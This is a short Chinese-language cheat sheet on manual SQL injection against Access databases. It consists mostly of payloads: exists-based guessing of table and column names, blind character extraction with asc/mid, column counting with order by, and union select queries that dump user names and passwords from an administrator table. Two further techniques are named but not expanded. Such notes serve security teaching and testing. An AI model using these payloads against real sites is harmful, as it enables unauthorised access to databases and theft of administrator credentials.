注入之access数据库（手工注入）

猜解数据库表名和字段
    

and exists(select user_name from administrator)    （找到注入点拼接语句）
        

密码字段
    

and exists(select password from administrator)
        

猜解字段内容
    

and (select top 1 asc(mid(user_name,1,1)) from administrator)>0

SQL注入中的高级查询
  

•  order by

        order by 7

   order by 8   （出现错误，说明只存在7）

•   union select

        union select 1,2,3,4,5,6,7 from administrator

 2.3可以读写       union select 1,user_name,password,4,5,6,7 from administrator

•     偏移注入
•     注入跨库查询